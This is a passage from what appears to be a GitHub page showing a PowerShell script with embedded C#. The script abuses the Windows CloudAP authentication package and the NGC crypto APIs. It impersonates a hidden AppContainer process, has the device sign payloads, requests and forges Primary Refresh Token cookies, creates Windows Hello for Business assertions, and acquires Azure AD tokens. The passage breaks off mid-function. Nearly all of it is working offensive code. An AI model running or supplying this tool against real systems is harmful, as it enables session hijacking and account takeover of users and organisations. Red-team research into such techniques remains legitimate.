-
Notifications
You must be signed in to change notification settings - Fork 11
/
BAADTokenBroker.ps1
845 lines (736 loc) · 30.8 KB
/
BAADTokenBroker.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
$AADTokenBrokerDefitions = @"
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
public class AADTokenBroker
{
const string pbLabel = "AzureAD-SecureConversation";
const int STARTF_USESHOWWINDOW = 0x00000001;
const int SW_HIDE = 0x00000000;
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const int PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES = 0x00020009;
const uint TOKEN_DUPLICATE = 0x0002;
const int SecurityImpersonation = 2;
private static IntPtr hImpProc = IntPtr.Zero;
private static IntPtr hImpToken = IntPtr.Zero;
private static IntPtr hImpDupToken = IntPtr.Zero;
private const int STATUS_SUCCESS = 0;
private const int CALLPKG_GENERIC = 2;
private static readonly Guid AadGlobalIdProviderGuid = new Guid(
0xB16898C6, 0xA148, 0x4967, 0x91, 0x71, 0x64, 0xD7, 0x55, 0xDA, 0x85, 0x20
);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_CAPABILITIES
{
public IntPtr AppContainerSid;
public IntPtr Capabilities;
public uint CapabilityCount;
public uint Reserved;
}
[StructLayout(LayoutKind.Sequential)]
private struct LSA_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
private struct CAP_PKG_INPUT
{
public uint ulMessageType;
public Guid ProviderGuid;
public uint ulInputSize;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public byte[] abInput;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NGC_IDP_ACCOUNT_INFO
{
public string idpDomain;
public string tenantid;
public IntPtr val3;
};
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NGC_KEY_INFO
{
public IntPtr idpDomain;
public string tenantid;
public IntPtr userId;
public IntPtr sid;
public IntPtr keyName;
};
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, ref SECURITY_CAPABILITIES securityCapabilities,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize
);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("KERNEL32.dll", SetLastError = true)]
public static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll")]
private extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("secur32.dll", SetLastError = true)]
private static extern int LsaConnectUntrusted(out IntPtr LsaHandle);
[DllImport("secur32.dll", SetLastError = true)]
private static extern int LsaLookupAuthenticationPackage(IntPtr LsaHandle, ref LSA_STRING PackageName, out uint AuthenticationPackage);
[DllImport("secur32.dll", SetLastError = true)]
private static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, uint AuthenticationPackage, IntPtr ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
[DllImport("SECUR32.dll", SetLastError = true)]
public static extern int LsaFreeReturnBuffer(IntPtr Buffer);
[DllImport("kernel32.dll")]
private static extern void RtlZeroMemory(IntPtr dst, UIntPtr length);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool RevertToSelf();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("cryptngc.dll")]
private static extern int NgcImportSymmetricPopKey(ref NGC_IDP_ACCOUNT_INFO accountInfo, IntPtr arg2, IntPtr arg3, IntPtr sessionKey, uint cbSessionKey, out IntPtr pbKey, out uint cbKey);
[DllImport("cryptngc.dll")]
private static extern int NgcSignWithSymmetricPopKey(IntPtr pbKey, uint cbKey, string pbLabel, uint cbLabel, IntPtr pbContext, uint cbContext, string pbData, uint cbData, out IntPtr ppbOutput, out uint pcbOutput);
[DllImport("cryptngc.dll")]
private static extern int NgcDecryptWithSymmetricPopKey(IntPtr pbKey, uint cbKey, string pbLabel, uint cbLabel, IntPtr pbContext, uint cbContext, IntPtr pbIv, uint cbIv, IntPtr pbData, uint cbData, out IntPtr ppbOutput, out uint pcbOutput);
[DllImport("cryptngc.dll")]
private static extern int NgcEncryptWithSymmetricPopKey(IntPtr pbKey, uint cbKey, string pbLabel, uint cbLabel, IntPtr pbContext, uint cbContext, IntPtr pbIv, uint cbIv, string pbData, uint cbData, out IntPtr ppbOutput, out uint pcbOutput);
[DllImport("cryptngc.dll")]
private static extern int NgcGetUserIdKeyPublicKey(byte[] keyName, out IntPtr ppbOutput, out uint pcbOutput);
[DllImport("cryptngc.dll")]
private static extern int NgcSignWithUserIdKey(byte[] keyName, string pbData, uint cbData, uint Val, out IntPtr ppbOutput, out uint pcbOutput);
[DllImport("cryptngc.dll", CharSet = CharSet.Unicode)]
private static extern int NgcEnumUserIdKeys(string idpDomain, string tenantDomain, string userId, string userSid, out IntPtr pbOutput, out uint pcbOutput);
private static bool Impersonate()
{
bool success = false;
IntPtr appContainerSid;
if (ConvertStringSidToSid("S-1-15-2-1910091885-1573563583-1104941280-2418270861-3411158377-2822700936-2990310272", out appContainerSid))
{
var sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo = new STARTUPINFO();
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
sInfoEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
sInfoEx.StartupInfo.wShowWindow = SW_HIDE;
var lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
if (InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize))
{
var securityCapablities = new SECURITY_CAPABILITIES();
securityCapablities.AppContainerSid = appContainerSid;
if (UpdateProcThreadAttribute(
sInfoEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES,
ref securityCapablities, (IntPtr)Marshal.SizeOf(securityCapablities), IntPtr.Zero, IntPtr.Zero))
{
var pInfo = new PROCESS_INFORMATION();
var pSec = new SECURITY_ATTRIBUTES();
var tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
if (CreateProcess("C:\\Windows\\system32\\Notepad.exe", "", ref pSec, ref tSec,
false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, "C:\\", ref sInfoEx, out pInfo))
{
hImpProc = pInfo.hProcess;
if (OpenProcessToken(hImpProc, TOKEN_DUPLICATE, out hImpToken))
{
if (DuplicateToken(hImpToken, SecurityImpersonation, ref hImpDupToken))
{
success = ImpersonateLoggedOnUser(hImpDupToken);
}
}
}
}
DeleteProcThreadAttributeList(sInfoEx.lpAttributeList);
Marshal.FreeHGlobal(sInfoEx.lpAttributeList);
}
}
return success;
}
private static void Revert()
{
RevertToSelf();
if (hImpDupToken != IntPtr.Zero)
{
CloseHandle(hImpDupToken);
}
if (hImpToken != IntPtr.Zero)
{
CloseHandle(hImpToken);
}
if (hImpProc != IntPtr.Zero)
{
TerminateProcess(hImpProc, 0);
}
return;
}
private static IntPtr GetLsaHandle()
{
IntPtr hLsa;
int status = LsaConnectUntrusted(out hLsa);
if (status != STATUS_SUCCESS)
{
return IntPtr.Zero;
}
return hLsa;
}
private static uint GetCloudApPackageId(IntPtr hLsa)
{
string szCloudAPName = "CloudAP";
LSA_STRING cloudApPackageName = new LSA_STRING
{
Length = (ushort)(szCloudAPName.Length),
MaximumLength = (ushort)((szCloudAPName.Length + 1)),
Buffer = Marshal.StringToHGlobalAnsi(szCloudAPName)
};
uint cloudApPackageId;
int status = LsaLookupAuthenticationPackage(hLsa, ref cloudApPackageName, out cloudApPackageId);
Marshal.FreeHGlobal(cloudApPackageName.Buffer);
if (status != STATUS_SUCCESS)
{
return 0;
}
return cloudApPackageId;
}
private static string CallCloudAP(IntPtr hLsa, uint cloudApPackageId, string payload)
{
CAP_PKG_INPUT capPkgInput = new CAP_PKG_INPUT();
capPkgInput.ulMessageType = CALLPKG_GENERIC;
capPkgInput.ProviderGuid = AadGlobalIdProviderGuid;
capPkgInput.ulInputSize = (uint)payload.Length;
IntPtr capPkgInputPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(CAP_PKG_INPUT)));
Marshal.StructureToPtr(capPkgInput, capPkgInputPtr, false);
byte[] capPkgInputBytes = new byte[Marshal.SizeOf(typeof(CAP_PKG_INPUT))];
Marshal.Copy(capPkgInputPtr, capPkgInputBytes, 0, Marshal.SizeOf(typeof(CAP_PKG_INPUT)));
Marshal.FreeHGlobal(capPkgInputPtr);
int cbCloudApRequest = Marshal.SizeOf(typeof(CAP_PKG_INPUT)) + 1 + payload.Length;
IntPtr cloudApRequestBuf = Marshal.AllocHGlobal(cbCloudApRequest);
RtlZeroMemory(cloudApRequestBuf, (UIntPtr)cbCloudApRequest);
Marshal.Copy(capPkgInputBytes, 0, cloudApRequestBuf, Marshal.SizeOf(typeof(CAP_PKG_INPUT)));
byte[] requestJsonBuffer = System.Text.Encoding.ASCII.GetBytes(payload);
Marshal.Copy(requestJsonBuffer, 0, cloudApRequestBuf + 4 + 16 + 4, payload.Length);
int cbCloudApResponse;
IntPtr pResponseBuffer;
int subStatus;
int status = LsaCallAuthenticationPackage(
hLsa,
cloudApPackageId,
cloudApRequestBuf,
cbCloudApRequest,
out pResponseBuffer,
out cbCloudApResponse,
out subStatus
);
Marshal.FreeHGlobal(cloudApRequestBuf);
string response = "";
if (status == STATUS_SUCCESS)
{
if (pResponseBuffer != IntPtr.Zero)
{
byte[] cloudApResponseBytes = new byte[cbCloudApResponse];
Marshal.Copy(pResponseBuffer, cloudApResponseBytes, 0, cbCloudApResponse);
LsaFreeReturnBuffer(pResponseBuffer);
response = Encoding.UTF8.GetString(cloudApResponseBytes, 0, cloudApResponseBytes.Length);
}
}
return response;
}
private static string SendToCloudAp(string payload)
{
string response = "";
IntPtr hLsa = GetLsaHandle();
if (hLsa != IntPtr.Zero)
{
uint cloudApPackageId = GetCloudApPackageId(hLsa);
if (cloudApPackageId != 0 && Impersonate())
{
response = CallCloudAP(hLsa, cloudApPackageId, payload);
Revert();
}
}
return response;
}
private static string Base64UrlEncode(byte[] input)
{
string base64String = Convert.ToBase64String(input);
return base64String.Replace('+', '-').Replace('/', '_').Replace("=", "");
}
private static byte[] Base64UrlDecode(string input)
{
input = input.Replace('-', '+').Replace('_', '/');
switch (input.Length % 4)
{
case 2: input += "=="; break;
case 3: input += "="; break;
}
return Convert.FromBase64String(input);
}
private static bool ImportSessionkey(string tenantid, IntPtr sessionKey, int cbSessionKey, out IntPtr pbKey, out uint cbKey)
{
var accountInfo = new NGC_IDP_ACCOUNT_INFO();
accountInfo.idpDomain = "login.windows.net";
accountInfo.tenantid = tenantid;
accountInfo.val3 = (IntPtr)0;
var status = NgcImportSymmetricPopKey(ref accountInfo, (IntPtr)0, (IntPtr)2, sessionKey, (uint)cbSessionKey, out pbKey, out cbKey);
if (status != 0)
{
return false;
}
return true;
}
public static string RequestSSOCookie(string nonce)
{
string payload = string.Format("{{\"call\": 2, \"payload\":\"https:\\/\\/login.microsoftonline.com\\/common\\/oatuh2\\/authorize?sso_nonce={0}\", \"correlationId\":\"\"}}", nonce);
return SendToCloudAp(payload);
}
public static string SignPayload(string payload)
{
string buffer = string.Format("{{\"payload\": \"{0}\", \"call\": 1 }}", payload.Replace("\"", "\\\""));
string escaped = buffer.Replace("\n", "").Replace("\r", "");
return SendToCloudAp(escaped);
}
public static string CreateJWS(string tenantid, string sessionKeyJwe, string payload)
{
var sessionKey = Base64UrlDecode(sessionKeyJwe.Split('.')[1]);
IntPtr sessionKeyPtr = Marshal.AllocHGlobal(sessionKey.Length);
Marshal.Copy(sessionKey, 0, sessionKeyPtr, sessionKey.Length);
IntPtr pbKey;
uint cbKey;
bool ret = ImportSessionkey(tenantid, sessionKeyPtr, sessionKey.Length, out pbKey, out cbKey);
Marshal.FreeHGlobal(sessionKeyPtr);
if (ret)
{
byte[] ctxBytes = new byte[24];
using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
{
rng.GetBytes(ctxBytes);
}
string header = String.Format(
"{{" +
"\"alg\":\"HS256\"," +
"\"kdf_ver\":2," +
"\"ctx\":\"{0}\"" +
"}}", Convert.ToBase64String(ctxBytes)
);
string jwtHeaderPayload = Base64UrlEncode(Encoding.UTF8.GetBytes(header)) + "." + Base64UrlEncode(Encoding.UTF8.GetBytes(payload));
SHA256 sha256 = SHA256.Create();
sha256.TransformBlock(ctxBytes, 0, ctxBytes.Length, ctxBytes, 0);
byte[] payloadBytes = Encoding.UTF8.GetBytes(payload);
sha256.TransformFinalBlock(payloadBytes, 0, payloadBytes.Length);
byte[] kdfCtxBytes = sha256.Hash;
IntPtr kdfCtx = Marshal.AllocHGlobal(kdfCtxBytes.Length);
Marshal.Copy(kdfCtxBytes, 0, kdfCtx, kdfCtxBytes.Length);
IntPtr pbOut;
uint cbOutLen;
var status = NgcSignWithSymmetricPopKey(pbKey, cbKey, pbLabel, (uint)pbLabel.Length, kdfCtx, 32, jwtHeaderPayload, (uint)jwtHeaderPayload.Length, out pbOut, out cbOutLen);
Marshal.FreeHGlobal(kdfCtx);
if (status == 0)
{
byte[] pbOutBytes = new byte[cbOutLen];
Marshal.Copy(pbOut, pbOutBytes, 0, pbOutBytes.Length);
return jwtHeaderPayload + "." + Base64UrlEncode(pbOutBytes);
}
}
return "";
}
public static byte[] EncryptWithSessionkey(string tenantid, string sessionKeyB64, string ctxB64, string ivB64, string text)
{
var sessionKey = Base64UrlDecode(sessionKeyB64);
IntPtr sessionKeyPtr = Marshal.AllocHGlobal(sessionKey.Length);
Marshal.Copy(sessionKey, 0, sessionKeyPtr, sessionKey.Length);
IntPtr pbKey;
uint cbKey;
bool ret = ImportSessionkey(tenantid, sessionKeyPtr, sessionKey.Length, out pbKey, out cbKey);
Marshal.FreeHGlobal(sessionKeyPtr);
if (ret)
{
var ctx = Base64UrlDecode(ctxB64);
IntPtr ctxPtr = Marshal.AllocHGlobal(ctx.Length);
Marshal.Copy(ctx, 0, ctxPtr, ctx.Length);
var iv = Base64UrlDecode(ivB64);
IntPtr ivPtr = Marshal.AllocHGlobal(iv.Length);
Marshal.Copy(iv, 0, ivPtr, iv.Length);
IntPtr pbOut;
uint cbOutLen;
var status = NgcEncryptWithSymmetricPopKey(
pbKey, cbKey,
pbLabel, (uint)pbLabel.Length,
ctxPtr, (uint)ctx.Length,
ivPtr, (uint)iv.Length,
text, (uint)text.Length,
out pbOut, out cbOutLen
);
Marshal.FreeHGlobal(ctxPtr);
Marshal.FreeHGlobal(ivPtr);
if (status == 0)
{
byte[] pbOutBytes = new byte[cbOutLen];
Marshal.Copy(pbOut, pbOutBytes, 0, pbOutBytes.Length);
return pbOutBytes;
}
}
return null;
}
public static string DecryptWithSessionkey(string tenantid, string sessionKeyB64, string ctxB64, string ivB64, string cipherTextB64)
{
var sessionKey = Base64UrlDecode(sessionKeyB64);
IntPtr sessionKeyPtr = Marshal.AllocHGlobal(sessionKey.Length);
Marshal.Copy(sessionKey, 0, sessionKeyPtr, sessionKey.Length);
IntPtr pbKey;
uint cbKey;
bool ret = ImportSessionkey(tenantid, sessionKeyPtr, sessionKey.Length, out pbKey, out cbKey);
Marshal.FreeHGlobal(sessionKeyPtr);
if (ret)
{
var ctx = Base64UrlDecode(ctxB64);
IntPtr ctxPtr = Marshal.AllocHGlobal(ctx.Length);
Marshal.Copy(ctx, 0, ctxPtr, ctx.Length);
var iv = Base64UrlDecode(ivB64);
IntPtr ivPtr = Marshal.AllocHGlobal(iv.Length);
Marshal.Copy(iv, 0, ivPtr, iv.Length);
var cipherText = Base64UrlDecode(cipherTextB64);
IntPtr cipherTextPtr = Marshal.AllocHGlobal(cipherText.Length);
Marshal.Copy(cipherText, 0, cipherTextPtr, cipherText.Length);
IntPtr pbOut;
uint cbOutLen;
var status = NgcDecryptWithSymmetricPopKey(
pbKey, cbKey,
pbLabel, (uint)pbLabel.Length,
ctxPtr, (uint)ctx.Length,
ivPtr, (uint)iv.Length,
cipherTextPtr, (uint)cipherText.Length,
out pbOut, out cbOutLen
);
Marshal.FreeHGlobal(ctxPtr);
Marshal.FreeHGlobal(ivPtr);
Marshal.FreeHGlobal(cipherTextPtr);
if (status == 0)
{
return Marshal.PtrToStringAnsi(pbOut, (int)cbOutLen);
}
}
return "";
}
public static string CreateWhfbAssertion(string keyNameStr, string payloadStr)
{
UnicodeEncoding Unicode = new UnicodeEncoding();
int byteCount = Unicode.GetByteCount(keyNameStr.ToCharArray(), 0, keyNameStr.Length);
Byte[] keyName = new Byte[byteCount];
Unicode.GetBytes(keyNameStr, 0, keyNameStr.Length, keyName, 0);
IntPtr pbOut;
uint cbOutLen;
var status = NgcGetUserIdKeyPublicKey(keyName, out pbOut, out cbOutLen);
if (status == 0)
{
byte[] certBytes = new byte[cbOutLen];
Marshal.Copy(pbOut, certBytes, 0, certBytes.Length);
SHA256 sha256 = SHA256.Create();
byte[] hashBytes = sha256.ComputeHash(certBytes);
string header = String.Format(
"{{" +
"\"alg\":\"RS256\"," +
"\"typ\":\"JWT\"," +
"\"kid\":\"{0}\"," +
"\"use\":\"ngc\"" +
"}}", System.Convert.ToBase64String(hashBytes));
string jwtHeaderPayload = Base64UrlEncode(Encoding.UTF8.GetBytes(header)) + "." + Base64UrlEncode(Encoding.UTF8.GetBytes(payloadStr));
status = NgcSignWithUserIdKey(keyName, jwtHeaderPayload, (uint)jwtHeaderPayload.Length, 1, out pbOut, out cbOutLen);
if (status == 0)
{
byte[] pbOutBytes = new byte[cbOutLen];
Marshal.Copy(pbOut, pbOutBytes, 0, pbOutBytes.Length);
return jwtHeaderPayload + "." + Base64UrlEncode(pbOutBytes);
}
}
return "";
}
public static string GetWhfbKeyName(string tenantid, string userId)
{
IntPtr pbOut;
uint cbOutLen;
string idpDomain = "login.windows.net";
string sid = WindowsIdentity.GetCurrent().User.ToString();
var status = NgcEnumUserIdKeys(idpDomain, tenantid, userId, sid, out pbOut, out cbOutLen);
if (status >= 0)
{
NGC_KEY_INFO keyInfo = (NGC_KEY_INFO)Marshal.PtrToStructure(pbOut, typeof(NGC_KEY_INFO));
return Marshal.PtrToStringUni(keyInfo.keyName);
}
return "";
}
}
"@
function Base64Decode($Encoded)
{
$Length = $Encoded.Length
$RandomChar = 1..($Length - 3) | Get-Random
$Encoded = $Encoded.Insert($RandomChar,'=')
$Stripped = $Encoded.Replace('=','')
$ModulusValue = ($Stripped.length % 4)
Switch ($ModulusValue) {
'0' {$Padded = $Stripped}
'1' {$Padded = $Stripped.Substring(0,$Stripped.Length - 1)}
'2' {$Padded = $Stripped + ('=' * (4 - $ModulusValue))}
'3' {$Padded = $Stripped + ('=' * (4 - $ModulusValue))}
}
return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Padded))
}
function Get-Nonce ()
{
$url = "https://login.microsoftonline.com/common/oauth2/token"
$body = @{
grant_type = "srv_challenge"
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $body
return $response.Nonce
}
function Get-TenantId ($Username)
{
$domain = $Username.Split('@')[1]
$url = "https://login.microsoftonline.com/$domain/.well-known/openid-configuration"
$response = Invoke-RestMethod -Uri $url -Method Get
$tenantid = $response.token_endpoint.Split('/')[3]
return $tenantid
}
function Get-WhfbKeyName ($Username)
{
Add-Type -TypeDefinition $AADTokenBrokerDefitions
$tenantid = Get-TenantId($Username)
$returnBuffer = [AADTokenBroker]::GetWhfbKeyName($tenantid, $Username)
return $returnBuffer
}
function Get-WhfbAssertion ($Keyname, $Tenantid, $Username, $Nonce)
{
Add-Type -TypeDefinition $AADTokenBrokerDefitions
$time = [Math]::Truncate((Get-Date -UFormat "%s"))
$payload = @{
"scope" = "openid aza ugs"
"aud" = $Tenantid.ToUpper()
"iss" = $Username
"iat" = $time - 36000
"exp" = $time + 36000
"request_nonce" = $Nonce
}
$payloadStr = $payload | ConvertTo-Json
$assertion = [AADTokenBroker]::CreateWhfbAssertion($Keyname, $payloadStr)
return $assertion
}
function Request-PRTCookie ()
{
[cmdletbinding()]
Param (
) Process
{
Add-Type -TypeDefinition $AADTokenBrokerDefitions
$nonce = Get-Nonce
$returnBuffer = [AADTokenBroker]::RequestSSOCookie($nonce)
return ($returnBuffer | ConvertFrom-Json).assertion
}
}
function Create-PRTCookie()
{
[cmdletbinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$Username,
[Parameter(Mandatory=$False)]
[string]$Password,
[Parameter(Mandatory=$False)]
[bool]$Whfb
) Process
{
Add-Type -TypeDefinition $AADTokenBrokerDefitions
$nonce = Get-Nonce
$Tenantid = Get-TenantId -Username $Username
$payload = @{
"client_id" = "29d9ed98-a469-4536-ade2-f981bc1d605e"
"request_nonce" = $nonce
"scope" = "openid aza ugs"
"win_ver" = "10.0.19041.3996"
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
"username" = $Username
}
if ($Whfb)
{
$Keyname = Get-WhfbKeyName -Username $Username
$assertion = Get-WhfbAssertion -Keyname $Keyname -Tenantid $Tenantid -Username $Username -Nonce $nonce
$payload["assertion"] = $assertion
$payload["grant_type"] = "urn:ietf:params:oauth:grant-type:jwt-bearer"
}
else
{
$payload["password"] = $Password
$payload["grant_type"] = "password"
}
$payloadStr = $payload | ConvertTo-Json
$returnBuffer = [AADTokenBroker]::SignPayload($payloadStr)
$signedjwt = ($returnBuffer | ConvertFrom-Json).assertion
$body = @{
grant_type = "urn:ietf:params:oauth:grant-type:jwt-bearer"
request = $signedjwt
}
$url = "https://login.microsoftonline.com/common/oauth2/token"
$response = Invoke-RestMethod -Uri $url -Method Post -Body $body
$payload = @{
"refresh_token" = $response.refresh_token
"is_primary" = "true"
"win_ver" = "10.0.19041.3570"
"x_client_platform" = "windows"
"request_nonce" = $nonce
}
$payloadStr = $payload | ConvertTo-Json
$prtCookie = [AADTokenBroker]::CreateJWS($tenantid, $response.session_key_jwe, $payloadStr)
return $prtCookie
}
}
function Acquire-Token()
{
[cmdletbinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$Username,
[Parameter(Mandatory=$False)]
[string]$Password,
[Parameter(Mandatory=$False)]
[bool]$Whfb,
[Parameter(Mandatory=$True)]
[string]$Resource,
[Parameter(Mandatory=$True)]
[string]$Clientid,
[Parameter(Mandatory=$False)]
[bool]$PRTFlow
) Process
{
Add-Type -TypeDefinition $AADTokenBrokerDefitions
$nonce = Get-Nonce
$Tenantid = Get-TenantId -Username $Username
$payload = @{
"tenantid" = $Tenantid
"client_id" = $Clientid
"win_ver" = "10.0.19041.3570"
"username" = $Username
"request_nonce" = $nonce
"scope" = "openid aza ugs .default"
}
if ($PRTFlow -eq $False)
{
$payload["scope"] = "openid"
$payload["resource"] = $Resource
}
if ($Whfb)
{
$Keyname = Get-WhfbKeyName -Username $Username
$assertion = Get-WhfbAssertion -Keyname $Keyname -Tenantid $Tenantid -Username $Username -Nonce $nonce
$payload["assertion"] = $assertion
$payload["grant_type"] = "urn:ietf:params:oauth:grant-type:jwt-bearer"
}
else
{
$payload["password"] = $Password
$payload["grant_type"] = "password"
}
$payloadStr = $payload | ConvertTo-Json
$returnBuffer = [AADTokenBroker]::SignPayload($payloadStr)
$signedjwt = ($returnBuffer | ConvertFrom-Json).assertion
$body = @{
grant_type = "urn:ietf:params:oauth:grant-type:jwt-bearer"
request = $signedjwt
}
$url = "https://login.microsoftonline.com/common/oauth2/token"
$response = Invoke-RestMethod -Uri $url -Method Post -Body $body
if ($PRTFlow)
{
$sessionKeyJwe = $response.session_key_jwe
$payload = @{
"refresh_token" = $response.refresh_token
"scope" = "openid"
"resource" = $Resource
"is_primary" = "true"
"win_ver" = "10.0.19041.3570"
"x_client_platform" = "windows"
"request_nonce" = $nonce
"grant_type" = "refresh_token"
"client_id" = $Clientid
"aud" = "login.microsoftonline.com"
"iss" = "aad:brokerplugin"
}
$payloadStr = $payload | ConvertTo-Json
